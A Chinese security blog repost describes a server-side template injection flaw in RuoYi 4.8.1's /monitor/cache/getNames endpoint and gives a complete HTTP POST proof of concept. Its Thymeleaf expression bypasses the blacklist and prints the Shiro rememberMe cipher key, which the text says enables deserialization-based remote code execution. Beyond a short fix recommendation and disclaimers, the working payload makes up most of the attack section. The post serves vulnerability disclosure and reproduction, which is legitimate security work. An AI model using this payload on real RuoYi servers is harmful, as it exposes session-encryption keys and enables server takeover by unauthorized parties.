文章总结: 若依4.8.1版本后台存在SSTI漏洞位于CacheController的monitor/cache/getNames接口fragment参数未充分过滤用户输入导致攻击者可通过构造Thymeleaf表达式注入恶意代码绕过黑名单限制获取Shiro框架加密密钥进而实现远程代码执行攻击者可利用此漏洞控制服务器建议及时升级至官方修复版本或加强WAF规则限制敏感接口访问权限
综合评分: 89
文章分类: 漏洞分析,漏洞预警,WEB安全,应急响应,漏洞复现
漏洞复现|【新】若依(4.8.1)后台SSTI漏洞致RCE
原创
小白菜安全
小白菜安全
2025年12月4日 17:31
浙江
漏洞描述
弥该漏洞存在于CacheController的/monitor/cache/getnames接口,fragment参数未充分过滤用户输入,导致攻击者可通过精心构造的Thymeleaf表达式注入恶意代码。尽管新版增加了黑名单过滤,但攻击者可通过特定格式(如__|$${…}|__::.x)绕过限制,实现代码执行。攻击者可通过模板注入漏洞获取Shiro框架的加密密钥(shirokey),该密钥用于加密用户会话信息。一旦获取密钥,攻击者可利用Shiro反序列化漏洞进一步实现远程代码执行(RCE),控制服务器。
资产信息
若依下载地址:https://gitee.com/y_project/RuoYi/releases/tag/v4.8.1
漏洞复现
获取shirokey
POC
POST /monitor/cache/getNames HTTP/1.1Host: 192.168.10.103User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: JSESSIONID=227dca43-98d4-4718-b3ea-45db16de2340Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 205
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
修复
及时升级至官方修复版本,或加强Web应用防火墙(WAF)规则,限制敏感接口访问权限。
免责声明
该公众号主要是分享互联网上公开的一些漏洞poc和工具,利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如果本公众号分享导致的侵权行为请告知,我们会立即删除并道歉。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小白菜安全 小白菜安全《漏洞复现|【新】若依(4.8.1)后台SSTI漏洞致RCE》